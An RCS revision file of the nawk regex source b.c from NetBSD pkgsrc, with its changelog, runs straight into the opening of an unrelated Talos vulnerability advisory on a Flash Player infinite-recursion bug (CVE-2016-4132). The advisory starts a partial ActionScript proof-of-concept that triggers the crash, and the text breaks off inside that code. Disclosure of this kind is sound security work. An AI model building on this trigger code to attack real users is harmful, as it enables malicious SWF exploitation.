pkgsrc-2013Q1-base:1.1 pkgsrc-2012Q4:1.1.0.56 pkgsrc-2012Q4-base:1.1 pkgsrc-2012Q3:1.1.0.54 pkgsrc-2012Q3-base:1.1 pkgsrc-2012Q2:1.1.0.52 pkgsrc-2012Q2-base:1.1 pkgsrc-2012Q1:1.1.0.50 pkgsrc-2012Q1-base:1.1 pkgsrc-2011Q4:1.1.0.48 pkgsrc-2011Q4-base:1.1 pkgsrc-2011Q3:1.1.0.46 pkgsrc-2011Q3-base:1.1 pkgsrc-2011Q2:1.1.0.44 pkgsrc-2011Q2-base:1.1 pkgsrc-2011Q1:1.1.0.42 pkgsrc-2011Q1-base:1.1 pkgsrc-2010Q4:1.1.0.40 pkgsrc-2010Q4-base:1.1 pkgsrc-2010Q3:1.1.0.38 pkgsrc-2010Q3-base:1.1 pkgsrc-2010Q2:1.1.0.36 pkgsrc-2010Q2-base:1.1 pkgsrc-2010Q1:1.1.0.34 pkgsrc-2010Q1-base:1.1 pkgsrc-2009Q4:1.1.0.32 pkgsrc-2009Q4-base:1.1 pkgsrc-2009Q3:1.1.0.30 pkgsrc-2009Q3-base:1.1 pkgsrc-2009Q2:1.1.0.28 pkgsrc-2009Q2-base:1.1 pkgsrc-2009Q1:1.1.0.26 pkgsrc-2009Q1-base:1.1 pkgsrc-2008Q4:1.1.0.24 pkgsrc-2008Q4-base:1.1 pkgsrc-2008Q3:1.1.0.22 pkgsrc-2008Q3-base:1.1 cube-native-xorg:1.1.0.20 cube-native-xorg-base:1.1 pkgsrc-2008Q2:1.1.0.18 pkgsrc-2008Q2-base:1.1 cwrapper:1.1.0.16 pkgsrc-2008Q1:1.1.0.14 pkgsrc-2008Q1-base:1.1 pkgsrc-2007Q4:1.1.0.12 pkgsrc-2007Q4-base:1.1 pkgsrc-2007Q3:1.1.0.10 pkgsrc-2007Q3-base:1.1 pkgsrc-2007Q2:1.1.0.8 pkgsrc-2007Q2-base:1.1 pkgsrc-2007Q1:1.1.0.6 pkgsrc-2007Q1-base:1.1 pkgsrc-2006Q4:1.1.0.4 pkgsrc-2006Q4-base:1.1 pkgsrc-2006Q3:1.1.0.2 pkgsrc-2006Q3-base:1.1; locks; strict; comment @ * @; 1.3 date 2014.03.12.14.20.43; author ryoon; state Exp; branches; next 1.2; commitid AcBFUxrunFdPVpsx; 1.2 date 2013.06.14.14.46.37; author tron; state Exp; branches; next 1.1; commitid qfoEjDfSVq6OMATw; 1.1 date 2006.07.14.14.23.06; author jlam; state Exp; branches; next ; desc @@ 1.3 log @Update to 20121220 * Works fine under Debian GNU/Linux 7.4, NetBSD/amd64 6.99.36 * Merge pkgsrc specific changes Changelog: Dec 20, 2012: fiddled makefile to get correct yacc and bison flags. pick yacc (linux) or bison (mac) as necessary. added __attribute__((__noreturn__)) to a couple of lines in proto.h, to silence someone's enthusiastic checker. fixed obscure call by value bug in split(a[1],a) reported on 9fans. the management of temporary values is just a mess; i took a shortcut by making an extra string copy. thanks to paul patience and arnold robbins for passing it on and for proposed patches. tiny fiddle in setfval to eliminate -0 results in T.expr, which has irritated me for 20+ years. Aug 10, 2011: another fix to avoid core dump with delete(ARGV); again, many thanks to ruslan ermilov. Aug 7, 2011: split(s, a, //) now behaves the same as split(s, a, "") Jun 12, 2011: /pat/, \n /pat/ {...} is now legal, though bad style to use. added checks to new -v code that permits -vnospace; thanks to ruslan ermilov for spotting this and providing the patch. removed fixed limit on number of open files; thanks to aleksey cheusov and christos zoulos. fixed day 1 bug that resurrected deleted elements of ARGV when used as filenames (in lib.c). minor type fiddles to make gcc -Wall -pedantic happier (but not totally so); turned on -fno-strict-aliasing in makefile. May 6, 2011: added #ifdef for isblank. now allows -ffoo as well as -f foo arguments. (thanks, ruslan) May 1, 2011: after advice from todd miller, kevin lo, ruslan ermilov, and arnold robbins, changed srand() to return the previous seed (which is 1 on the first call of srand). the seed is an Awkfloat internally though converted to unsigned int to pass to the library srand(). thanks, everyone. fixed a subtle (and i hope low-probability) overflow error in fldbld, by adding space for one extra \0. thanks to robert bassett for spotting this one and providing a fix. removed the files related to compilation on windows. i no longer have anything like a current windows environment, so i can't test any of it. May 23, 2010: fixed long-standing overflow bug in run.c; many thanks to nelson beebe for spotting it and providing the fix. fixed bug that didn't parse -vd=1 properly; thanks to santiago vila for spotting it. Feb 8, 2010: i give up. replaced isblank with isspace in b.c; there are no consistent header files. Nov 26, 2009: fixed a long-standing issue with when FS takes effect. a change to FS is now noticed immediately for subsequent splits. changed the name getline() to awkgetline() to avoid yet another name conflict somewhere. Feb 11, 2009: temporarily for now defined HAS_ISBLANK, since that seems to be the best way through the thicket. isblank arrived in C99, but seems to be arriving at different systems at different times. Oct 8, 2008: fixed typo in b.c that set tmpvec wrongly. no one had ever run into the problem, apparently. thanks to alistair crooks. Oct 23, 2007: minor fix in lib.c: increase inputFS to 100, change malloc for fields to n+1. fixed memory fault caused by out of order test in setsval. thanks to david o'brien, freebsd, for both fixes. May 1, 2007: fiddle in makefile to fix for BSD make; thanks to igor sobrado. Mar 31, 2007: fixed some null pointer refs calling adjbuf. Feb 21, 2007: fixed a bug in matching the null RE in sub and gsub. thanks to al aho who actually did the fix (in b.c), and to wolfgang seeberg for finding it and providing a very compact test case. fixed quotation in b.c; thanks to Hal Pratt and the Princeton Dante Project. removed some no-effect asserts in run.c. fiddled maketab.c to not complain about bison-generated values. removed the obsolete -V argument; fixed --version to print the version and exit. fixed wording and an outright error in the usage message; thanks to igor sobrado and jason mcintyre. fixed a bug in -d that caused core dump if no program followed. Jan 1, 2007: dropped mac.code from makefile; there are few non-MacOSX mac's these days. Jan 17, 2006: system() not flagged as unsafe in the unadvertised -safe option. found it while enhancing tests before shipping the ;login: article. practice what you preach. removed the 9-years-obsolete -mr and -mf flags. added -version and --version options. core dump on linux with BEGIN {nextfile}, now fixed. removed some #ifdef's in run.c and lex.c that appear to no longer be necessary. @ text @/* $NetBSD: b.c,v 1.2 2013/06/14 14:46:37 tron Exp $ */ /**************************************************************** Copyright (C) Lucent Technologies 1997 All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name Lucent Technologies or any of its entities not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ****************************************************************/ /* lasciate ogne speranza, voi ch'intrate. */ #define DEBUG #include #include #include #include #include "awk.h" #include "ytab.h" #define HAT (NCHARS+2) /* matches ^ in regular expr */ /* NCHARS is 2**n */ #define MAXLIN 22 #define type(v) (v)->nobj /* badly overloaded here */ #define info(v) (v)->ntype /* badly overloaded here */ #define left(v) (v)->narg[0] #define right(v) (v)->narg[1] #define parent(v) (v)->nnext #define LEAF case CCL: case NCCL: case CHAR: case DOT: case FINAL: case ALL: #define ELEAF case EMPTYRE: /* empty string in regexp */ #define UNARY case STAR: case PLUS: case QUEST: /* encoding in tree Nodes: leaf (CCL, NCCL, CHAR, DOT, FINAL, ALL, EMPTYRE): left is index, right contains value or pointer to value unary (STAR, PLUS, QUEST): left is child, right is null binary (CAT, OR): left and right are children parent contains pointer to parent */ int *setvec; int *tmpset; int maxsetvec = 0; int rtok; /* next token in current re */ int rlxval; static uschar *rlxstr; static uschar *prestr; /* current position in current re */ static uschar *lastre; /* origin of last re */ static int setcnt; static int poscnt; char *patbeg; int patlen; #define NFA 20 /* cache this many dynamic fa's */ fa *fatab[NFA]; int nfatab = 0; /* entries in fatab */ fa *makedfa(const char *s, int anchor) /* returns dfa for reg expr s */ { int i, use, nuse; fa *pfa; static int now = 1; if (setvec == 0) { /* first time through any RE */ maxsetvec = MAXLIN; setvec = (int *) malloc(maxsetvec * sizeof(int)); tmpset = (int *) malloc(maxsetvec * sizeof(int)); if (setvec == 0 || tmpset == 0) overflo("out of space initializing makedfa"); } if (compile_time) /* a constant for sure */ return mkdfa(s, anchor); for (i = 0; i < nfatab; i++) /* is it there already? */ if (fatab[i]->anchor == anchor && strcmp((const char *) fatab[i]->restr, s) == 0) { fatab[i]->use = now++; return fatab[i]; } pfa = mkdfa(s, anchor); if (nfatab < NFA) { /* room for another */ fatab[nfatab] = pfa; fatab[nfatab]->use = now++; nfatab++; return pfa; } use = fatab[0]->use; /* replace least-recently used */ nuse = 0; for (i = 1; i < nfatab; i++) if (fatab[i]->use < use) { use = fatab[i]->use; nuse = i; } freefa(fatab[nuse]); fatab[nuse] = pfa; pfa->use = now++; return pfa; } fa *mkdfa(const char *s, int anchor) /* does the real work of making a dfa */ /* anchor = 1 for anchored matches, else 0 */ { Node *p, *p1; fa *f; p = reparse(s); p1 = op2(CAT, op2(STAR, op2(ALL, NIL, NIL), NIL), p); /* put ALL STAR in front of reg. exp. */ p1 = op2(CAT, p1, op2(FINAL, NIL, NIL)); /* put FINAL after reg. exp. */ poscnt = 0; penter(p1); /* enter parent pointers and leaf indices */ if ((f = (fa *) calloc(1, sizeof(fa) + poscnt*sizeof(rrow))) == NULL) overflo("out of space for fa"); f->accept = poscnt-1; /* penter has computed number of positions in re */ cfoll(f, p1); /* set up follow sets */ freetr(p1); if ((f->posns[0] = (int *) calloc(1, *(f->re[0].lfollow)*sizeof(int))) == NULL) overflo("out of space in makedfa"); if ((f->posns[1] = (int *) calloc(1, sizeof(int))) == NULL) overflo("out of space in makedfa"); *f->posns[1] = 0; f->initstat = makeinit(f, anchor); f->anchor = anchor; f->restr = (uschar *) tostring(s); return f; } int makeinit(fa *f, int anchor) { int i, k; f->curstat = 2; f->out[2] = 0; f->reset = 0; k = *(f->re[0].lfollow); xfree(f->posns[2]); if ((f->posns[2] = (int *) calloc(1, (k+1)*sizeof(int))) == NULL) overflo("out of space in makeinit"); for (i=0; i <= k; i++) { (f->posns[2])[i] = (f->re[0].lfollow)[i]; } if ((f->posns[2])[1] == f->accept) f->out[2] = 1; for (i=0; i < NCHARS; i++) f->gototab[2][i] = 0; f->curstat = cgoto(f, 2, HAT); if (anchor) { *f->posns[2] = k-1; /* leave out position 0 */ for (i=0; i < k; i++) { (f->posns[0])[i] = (f->posns[2])[i]; } f->out[0] = f->out[2]; if (f->curstat != 2) --(*f->posns[f->curstat]); } return f->curstat; } void penter(Node *p) /* set up parent pointers and leaf indices */ { switch (type(p)) { ELEAF LEAF info(p) = poscnt; poscnt++; break; UNARY penter(left(p)); parent(left(p)) = p; break; case CAT: case OR: penter(left(p)); penter(right(p)); parent(left(p)) = p; parent(right(p)) = p; break; default: /* can't happen */ FATAL("can't happen: unknown type %d in penter", type(p)); break; } } void freetr(Node *p) /* free parse tree */ { switch (type(p)) { ELEAF LEAF xfree(p); break; UNARY freetr(left(p)); xfree(p); break; case CAT: case OR: freetr(left(p)); freetr(right(p)); xfree(p); break; default: /* can't happen */ FATAL("can't happen: unknown type %d in freetr", type(p)); break; } } /* in the parsing of regular expressions, metacharacters like . have */ /* to be seen literally; \056 is not a metacharacter. */ int hexstr(uschar **pp) /* find and eval hex string at pp, return new p */ { /* only pick up one 8-bit byte (2 chars) */ uschar *p; int n = 0; int i; for (i = 0, p = (uschar *) *pp; i < 2 && isxdigit(*p); i++, p++) { if (isdigit(*p)) n = 16 * n + *p - '0'; else if (*p >= 'a' && *p <= 'f') n = 16 * n + *p - 'a' + 10; else if (*p >= 'A' && *p <= 'F') n = 16 * n + *p - 'A' + 10; } *pp = (uschar *) p; return n; } #define isoctdigit(c) ((c) >= '0' && (c) <= '7') /* multiple use of arg */ int quoted(uschar **pp) /* pick up next thing after a \\ */ /* and increment *pp */ { uschar *p = *pp; int c; if ((c = *p++) == 't') c = '\t'; else if (c == 'n') c = '\n'; else if (c == 'f') c = '\f'; else if (c == 'r') c = '\r'; else if (c == 'b') c = '\b'; else if (c == '\\') c = '\\'; else if (c == 'x') { /* hexadecimal goo follows */ c = hexstr(&p); /* this adds a null if number is invalid */ } else if (isoctdigit(c)) { /* \d \dd \ddd */ int n = c - '0'; if (isoctdigit(*p)) { n = 8 * n + *p++ - '0'; if (isoctdigit(*p)) n = 8 * n + *p++ - '0'; } c = n; } /* else */ /* c = c; */ *pp = p; return c; } char *cclenter(const char *argp) /* add a character class */ { int i, c, c2; uschar *p = (uschar *) argp; uschar *op, *bp; static uschar *buf = 0; static int bufsz = 100; op = p; if (buf == 0 && (buf = (uschar *) malloc(bufsz)) == NULL) FATAL("out of space for character class [%.10s...] 1", p); bp = buf; for (i = 0; (c = *p++) != 0; ) { if (c == '\\') { c = quoted(&p); } else if (c == '-' && i > 0 && bp[-1] != 0) { if (*p != 0) { c = bp[-1]; c2 = *p++; if (c2 == '\\') c2 = quoted(&p); if (c > c2) { /* empty; ignore */ bp--; i--; continue; } while (c < c2) { if (!adjbuf((char **) &buf, &bufsz, bp-buf+2, 100, (char **) &bp, "cclenter1")) FATAL("out of space for character class [%.10s...] 2", p); *bp++ = ++c; i++; } continue; } } if (!adjbuf((char **) &buf, &bufsz, bp-buf+2, 100, (char **) &bp, "cclenter2")) FATAL("out of space for character class [%.10s...] 3", p); *bp++ = c; i++; } *bp = 0; dprintf( ("cclenter: in = |%s|, out = |%s|\n", op, buf) ); xfree(op); return (char *) tostring((char *) buf); } void overflo(const char *s) { FATAL("regular expression too big: %.30s...", s); } void cfoll(fa *f, Node *v) /* enter follow set of each leaf of vertex v into lfollow[leaf] */ { int i; int *p; switch (type(v)) { ELEAF LEAF f->re[info(v)].ltype = type(v); f->re[info(v)].lval.np = right(v); while (f->accept >= maxsetvec) { /* guessing here! */ maxsetvec *= 4; setvec = (int *) realloc(setvec, maxsetvec * sizeof(int)); tmpset = (int *) realloc(tmpset, maxsetvec * sizeof(int)); if (setvec == 0 || tmpset == 0) overflo("out of space in cfoll()"); } for (i = 0; i <= f->accept; i++) setvec[i] = 0; setcnt = 0; follow(v); /* computes setvec and setcnt */ if ((p = (int *) calloc(1, (setcnt+1)*sizeof(int))) == NULL) overflo("out of space building follow set"); f->re[info(v)].lfollow = p; *p = setcnt; for (i = f->accept; i >= 0; i--) if (setvec[i] == 1) *++p = i; break; UNARY cfoll(f,left(v)); break; case CAT: case OR: cfoll(f,left(v)); cfoll(f,right(v)); break; default: /* can't happen */ FATAL("can't happen: unknown type %d in cfoll", type(v)); } } int first(Node *p) /* collects initially active leaves of p into setvec */ /* returns 0 if p matches empty string */ { int b, lp; switch (type(p)) { ELEAF LEAF lp = info(p); /* look for high-water mark of subscripts */ while (setcnt >= maxsetvec || lp >= maxsetvec) { /* guessing here! */ maxsetvec *= 4; setvec = (int *) realloc(setvec, maxsetvec * sizeof(int)); tmpset = (int *) realloc(tmpset, maxsetvec * sizeof(int)); if (setvec == 0 || tmpset == 0) overflo("out of space in first()"); } if (type(p) == EMPTYRE) { setvec[lp] = 0; return(0); } if (setvec[lp] != 1) { setvec[lp] = 1; setcnt++; } if (type(p) == CCL && (*(char *) right(p)) == '\0') return(0); /* empty CCL */ else return(1); case PLUS: if (first(left(p)) == 0) return(0); return(1); case STAR: case QUEST: first(left(p)); return(0); case CAT: if (first(left(p)) == 0 && first(right(p)) == 0) return(0); return(1); case OR: b = first(right(p)); if (first(left(p)) == 0 || b == 0) return(0); return(1); } FATAL("can't happen: unknown type %d in first", type(p)); /* can't happen */ return(-1); } void follow(Node *v) /* collects leaves that can follow v into setvec */ { Node *p; if (type(v) == FINAL) return; p = parent(v); switch (type(p)) { case STAR: case PLUS: first(v); follow(p); return; case OR: case QUEST: follow(p); return; case CAT: if (v == left(p)) { /* v is left child of p */ if (first(right(p)) == 0) { follow(p); return; } } else /* v is right child */ follow(p); return; } } int member(int c, const char *sarg) /* is c in s? */ { uschar *s = (uschar *) sarg; while (*s) if (c == *s++) return(1); return(0); } int match(fa *f, const char *p0) /* shortest match ? */ { int s, ns; uschar *p = (uschar *) p0; s = f->reset ? makeinit(f,0) : f->initstat; if (f->out[s]) return(1); do { /* assert(*p < NCHARS); */ if ((ns = f->gototab[s][*p]) != 0) s = ns; else s = cgoto(f, s, *p); if (f->out[s]) return(1); } while (*p++ != 0); return(0); } int pmatch(fa *f, const char *p0) /* longest match, for sub */ { int s, ns; uschar *p = (uschar *) p0; uschar *q; int i, k; /* s = f->reset ? makeinit(f,1) : f->initstat; */ if (f->reset) { f->initstat = s = makeinit(f,1); } else { s = f->initstat; } patbeg = (char *) p; patlen = -1; do { q = p; do { if (f->out[s]) /* final state */ patlen = q-p; /* assert(*q < NCHARS); */ if ((ns = f->gototab[s][*q]) != 0) s = ns; else s = cgoto(f, s, *q); if (s == 1) { /* no transition */ if (patlen >= 0) { patbeg = (char *) p; return(1); } else goto nextin; /* no match */ } } while (*q++ != 0); if (f->out[s]) patlen = q-p-1; /* don't count $ */ if (patlen >= 0) { patbeg = (char *) p; return(1); } nextin: s = 2; if (f->reset) { for (i = 2; i <= f->curstat; i++) xfree(f->posns[i]); k = *f->posns[0]; if ((f->posns[2] = (int *) calloc(1, (k+1)*sizeof(int))) == NULL) overflo("out of space in pmatch"); for (i = 0; i <= k; i++) (f->posns[2])[i] = (f->posns[0])[i]; f->initstat = f->curstat = 2; f->out[2] = f->out[0]; for (i = 0; i < NCHARS; i++) f->gototab[2][i] = 0; } } while (*p++ != 0); return (0); } int nematch(fa *f, const char *p0) /* non-empty match, for sub */ { int s, ns; uschar *p = (uschar *) p0; uschar *q; int i, k; /* s = f->reset ? makeinit(f,1) : f->initstat; */ if (f->reset) { f->initstat = s = makeinit(f,1); } else { s = f->initstat; } patlen = -1; while (*p) { q = p; do { if (f->out[s]) /* final state */ patlen = q-p; /* assert(*q < NCHARS); */ if ((ns = f->gototab[s][*q]) != 0) s = ns; else s = cgoto(f, s, *q); if (s == 1) { /* no transition */ if (patlen > 0) { patbeg = (char *) p; return(1); } else goto nnextin; /* no nonempty match */ } } while (*q++ != 0); if (f->out[s]) patlen = q-p-1; /* don't count $ */ if (patlen > 0 ) { patbeg = (char *) p; return(1); } nnextin: s = 2; if (f->reset) { for (i = 2; i <= f->curstat; i++) xfree(f->posns[i]); k = *f->posns[0]; if ((f->posns[2] = (int *) calloc(1, (k+1)*sizeof(int))) == NULL) overflo("out of state space"); for (i = 0; i <= k; i++) (f->posns[2])[i] = (f->posns[0])[i]; f->initstat = f->curstat = 2; f->out[2] = f->out[0]; for (i = 0; i < NCHARS; i++) f->gototab[2][i] = 0; } p++; } return (0); } Node *reparse(const char *p) /* parses regular expression pointed to by p */ { /* uses relex() to scan regular expression */ Node *np; dprintf( ("reparse <%s>\n", p) ); lastre = prestr = (uschar *) p; /* prestr points to string to be parsed */ rtok = relex(); /* GNU compatibility: an empty regexp matches anything */ if (rtok == '\0') { /* FATAL("empty regular expression"); previous */ return(op2(EMPTYRE, NIL, NIL)); } np = regexp(); if (rtok != '\0') FATAL("syntax error in regular expression %s at %s", lastre, prestr); return(np); } Node *regexp(void) /* top-level parse of reg expr */ { return (alt(concat(primary()))); } Node *primary(void) { Node *np; switch (rtok) { case CHAR: np = op2(CHAR, NIL, itonp(rlxval)); rtok = relex(); return (unary(np)); case ALL: rtok = relex(); return (unary(op2(ALL, NIL, NIL))); case EMPTYRE: rtok = relex(); return (unary(op2(ALL, NIL, NIL))); case DOT: rtok = relex(); return (unary(op2(DOT, NIL, NIL))); case CCL: np = op2(CCL, NIL, (Node*) cclenter((char *) rlxstr)); rtok = relex(); return (unary(np)); case NCCL: np = op2(NCCL, NIL, (Node *) cclenter((char *) rlxstr)); rtok = relex(); return (unary(np)); case '^': rtok = relex(); return (unary(op2(CHAR, NIL, itonp(HAT)))); case '$': rtok = relex(); return (unary(op2(CHAR, NIL, NIL))); case '(': rtok = relex(); if (rtok == ')') { /* special pleading for () */ rtok = relex(); return unary(op2(CCL, NIL, (Node *) tostring(""))); } np = regexp(); if (rtok == ')') { rtok = relex(); return (unary(np)); } else FATAL("syntax error in regular expression %s at %s", lastre, prestr); default: FATAL("illegal primary in regular expression %s at %s", lastre, prestr); } return 0; /*NOTREACHED*/ } Node *concat(Node *np) { switch (rtok) { case CHAR: case DOT: case ALL: case EMPTYRE: case CCL: case NCCL: case '$': case '(': return (concat(op2(CAT, np, primary()))); } return (np); } Node *alt(Node *np) { if (rtok == OR) { rtok = relex(); return (alt(op2(OR, np, concat(primary())))); } return (np); } Node *unary(Node *np) { switch (rtok) { case STAR: rtok = relex(); return (unary(op2(STAR, np, NIL))); case PLUS: rtok = relex(); return (unary(op2(PLUS, np, NIL))); case QUEST: rtok = relex(); return (unary(op2(QUEST, np, NIL))); default: return (np); } } /* * Character class definitions conformant to the POSIX locale as * defined in IEEE P1003.1 draft 7 of June 2001, assuming the source * and operating character sets are both ASCII (ISO646) or supersets * thereof. * * Note that to avoid overflowing the temporary buffer used in * relex(), the expanded character class (prior to range expansion) * must be less than twice the size of their full name. */ /* Because isblank doesn't show up in any of the header files on any * system i use, it's defined here. if some other locale has a richer * definition of "blank", define HAS_ISBLANK and provide your own * version. * the parentheses here are an attempt to find a path through the maze * of macro definition and/or function and/or version provided. thanks * to nelson beebe for the suggestion; let's see if it works everywhere. */ #if !defined(HAS_ISBLANK) && !defined(__APPLE__) int (xisblank)(int c) { return c==' ' || c=='\t'; } #endif struct charclass { const char *cc_name; int cc_namelen; int (*cc_func)(int); } charclasses[] = { { "alnum", 5, isalnum }, { "alpha", 5, isalpha }, #ifndef HAS_ISBLANK { "blank", 5, isspace }, /* was isblank */ #else { "blank", 5, isblank }, #endif { "cntrl", 5, iscntrl }, { "digit", 5, isdigit }, { "graph", 5, isgraph }, { "lower", 5, islower }, { "print", 5, isprint }, { "punct", 5, ispunct }, { "space", 5, isspace }, { "upper", 5, isupper }, { "xdigit", 6, isxdigit }, { NULL, 0, NULL }, }; int relex(void) /* lexical analyzer for reparse */ { int c, n; int cflag; static uschar *buf = 0; static int bufsz = 100; uschar *bp; struct charclass *cc; int i; switch (c = *prestr++) { case '|': return OR; case '*': return STAR; case '+': return PLUS; case '?': return QUEST; case '.': return DOT; case '\0': prestr--; return '\0'; case '^': case '$': case '(': case ')': return c; case '\\': rlxval = quoted(&prestr); return CHAR; default: rlxval = c; return CHAR; case '[': if (buf == 0 && (buf = (uschar *) malloc(bufsz)) == NULL) FATAL("out of space in reg expr %.10s..", lastre); bp = buf; if (*prestr == '^') { cflag = 1; prestr++; } else cflag = 0; n = 2 * strlen((const char *) prestr)+1; if (!adjbuf((char **) &buf, &bufsz, n, n, (char **) &bp, "relex1")) FATAL("out of space for reg expr %.10s...", lastre); for (; ; ) { if ((c = *prestr++) == '\\') { *bp++ = '\\'; if ((c = *prestr++) == '\0') FATAL("nonterminated character class %.20s...", lastre); *bp++ = c; /* } else if (c == '\n') { */ /* FATAL("newline in character class %.20s...", lastre); */ } else if (c == '[' && *prestr == ':') { /* POSIX char class names, Dag-Erling Smorgrav, des@@ofug.org */ for (cc = charclasses; cc->cc_name; cc++) if (strncmp((const char *) prestr + 1, (const char *) cc->cc_name, cc->cc_namelen) == 0) break; if (cc->cc_name != NULL && prestr[1 + cc->cc_namelen] == ':' && prestr[2 + cc->cc_namelen] == ']') { prestr += cc->cc_namelen + 3; for (i = 0; i < NCHARS; i++) { if (!adjbuf((char **) &buf, &bufsz, bp-buf+1, 100, (char **) &bp, "relex2")) FATAL("out of space for reg expr %.10s...", lastre); if (cc->cc_func(i)) { *bp++ = i; n++; } } } else *bp++ = c; } else if (c == '\0') { FATAL("nonterminated character class %.20s", lastre); } else if (bp == buf) { /* 1st char is special */ *bp++ = c; } else if (c == ']') { *bp++ = 0; rlxstr = (uschar *) tostring((char *) buf); if (cflag == 0) return CCL; else return NCCL; } else *bp++ = c; } } } int cgoto(fa *f, int s, int c) { int i, j, k; int *p, *q; assert(c == HAT || c < NCHARS); while (f->accept >= maxsetvec) { /* guessing here! */ maxsetvec *= 4; setvec = (int *) realloc(setvec, maxsetvec * sizeof(int)); tmpset = (int *) realloc(tmpset, maxsetvec * sizeof(int)); if (setvec == 0 || tmpset == 0) overflo("out of space in cgoto()"); } for (i = 0; i <= f->accept; i++) setvec[i] = 0; setcnt = 0; /* compute positions of gototab[s,c] into setvec */ p = f->posns[s]; for (i = 1; i <= *p; i++) { if ((k = f->re[p[i]].ltype) != FINAL) { if ((k == CHAR && c == ptoi(f->re[p[i]].lval.np)) || (k == DOT && c != 0 && c != HAT) || (k == ALL && c != 0) || (k == EMPTYRE && c != 0) || (k == CCL && member(c, (char *) f->re[p[i]].lval.up)) || (k == NCCL && !member(c, (char *) f->re[p[i]].lval.up) && c != 0 && c != HAT)) { q = f->re[p[i]].lfollow; for (j = 1; j <= *q; j++) { if (q[j] >= maxsetvec) { maxsetvec *= 4; setvec = (int *) realloc(setvec, maxsetvec * sizeof(int)); tmpset = (int *) realloc(tmpset, maxsetvec * sizeof(int)); if (setvec == 0 || tmpset == 0) overflo("cgoto overflow"); } if (setvec[q[j]] == 0) { setcnt++; setvec[q[j]] = 1; } } } } } /* determine if setvec is a previous state */ tmpset[0] = setcnt; j = 1; for (i = f->accept; i >= 0; i--) if (setvec[i]) { tmpset[j++] = i; } /* tmpset == previous state? */ for (i = 1; i <= f->curstat; i++) { p = f->posns[i]; if ((k = tmpset[0]) != p[0]) goto different; for (j = 1; j <= k; j++) if (tmpset[j] != p[j]) goto different; /* setvec is state i */ f->gototab[s][c] = i; return i; different:; } /* add tmpset to current set of states */ if (f->curstat >= NSTATES-1) { f->curstat = 2; f->reset = 1; for (i = 2; i < NSTATES; i++) xfree(f->posns[i]); } else ++(f->curstat); for (i = 0; i < NCHARS; i++) f->gototab[f->curstat][i] = 0; xfree(f->posns[f->curstat]); if ((p = (int *) calloc(1, (setcnt+1)*sizeof(int))) == NULL) overflo("out of space in cgoto"); f->posns[f->curstat] = p; f->gototab[s][c] = f->curstat; for (i = 0; i <= setcnt; i++) p[i] = tmpset[i]; if (setvec[f->accept]) f->out[f->curstat] = 1; else f->out[f->curstat] = 0; return f->curstat; } void freefa(fa *f) /* free a finite automaton */ { int i; if (f == NULL) return; for (i = 0; i <= f->curstat; i++) xfree(f->posns[i]); for (i = 0; i <= f->accept; i++) { xfree(f->re[i].lfollow); if (f->re[i].ltype == CCL || f->re[i].ltype == NCCL) xfree((f->re[i].lval.np)); } xfree(f->restr); xfree(f); } @ 1.2 log @Fix build under Mac OS X (Mountain Lion). @ text @d1 1 a1 1 /* $NetBSD: b.c,v 1.1 2006/07/14 14:23:06 jlam Exp $ */ d27 1 a27 1 /* lasciate ogne speranza, voi ch'entrate. */ d49 1 d53 1 a53 1 leaf (CCL, NCCL, CHAR, DOT, FINAL, ALL): d188 1 d213 1 d236 1 a236 1 int hexstr(char **pp) /* find and eval hex string at pp, return new p */ d250 1 a250 1 *pp = (char *) p; d256 1 a256 1 int quoted(char **pp) /* pick up next thing after a \\ */ d259 1 a259 1 char *p = *pp; d304 1 a304 1 c = quoted((char **) &p); d310 1 a310 1 c2 = quoted((char **) &p); d317 1 a317 1 if (!adjbuf((char **) &buf, &bufsz, bp-buf+2, 100, (char **) &bp, 0)) d325 1 a325 1 if (!adjbuf((char **) &buf, &bufsz, bp-buf+2, 100, (char **) &bp, 0)) d347 1 d384 1 a384 1 /* returns 1 if p matches empty string */ d389 1 d399 4 d479 1 a479 1 assert(*p < NCHARS); d510 1 a510 1 assert(*q < NCHARS); d568 1 a568 1 assert(*q < NCHARS); d615 1 a615 1 if (rtok == '\0') d617 2 a618 1 return(op2(ALL, NIL, NIL)); d642 3 d684 1 a684 1 case CHAR: case DOT: case ALL: case CCL: case NCCL: case '$': case '(': d738 1 a738 1 int (isblank)(int c) d752 3 d756 1 d793 1 a793 1 rlxval = quoted((char **) &prestr); d809 1 a809 1 if (!adjbuf((char **) &buf, &bufsz, n, n, (char **) &bp, 0)) d828 1 a828 1 if (!adjbuf((char **) &buf, &bufsz, bp-buf+1, 100, (char **) &bp, 0)) d877 1 d885 1 a885 1 tmpset = (int *) realloc(setvec, maxsetvec * sizeof(int)); @ 1.1 log @Prepare nawk for use as a bootstrap tool by including the sources directly in pkgsrc/lang/nawk/files and adjusting the package Makefile accordingly. The README.pkgsrc file includes notes on how the source files were (minimally) adjusted. @ text @d1 1 a1 1 /* $NetBSD$ */ d723 1 a723 1 #ifndef HAS_ISBLANK @
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Talos Vulnerability Report
TALOS-2016-0165
Adobe Flash Player Infinite Recursion Arbitrary Read Access Violation
June 14, 2016
Report ID
CVE-2016-4132
Summary
A potentially exploitable read access violation vulnerability exists in the a way Adobe Flash Player handles infinitely recursive calls. A specially crafted ActionScript code can cause a read access violation which can potentially be further abused. To trriger this vulnerability user interaction is required in that the user needs to visit a webpage with embedded malicious SWF file.
Tested Versions
Adobe Flash Player 21.0 (latest at the time of writing)
Product URLs
https://get.adobe.com/flashplayer/
Details
Vulnerability exists in a way Flash Player handles recursion when calling implicit functions such as “toString” or “valueOf”. It is best illustrated by an example:
public class Test extends Sprite {
public function Test() {
function func7(){
try { obj_URIError0.toString ( ); } catch(e:Error){}
try { obj_ByteArray8.writeDouble ( Math.PI); } catch(e:Error){}
return "";
}
var specObj2 = { toString:func7};
var obj_URIError0:URIError;
var obj_ByteArray8:ByteArray;
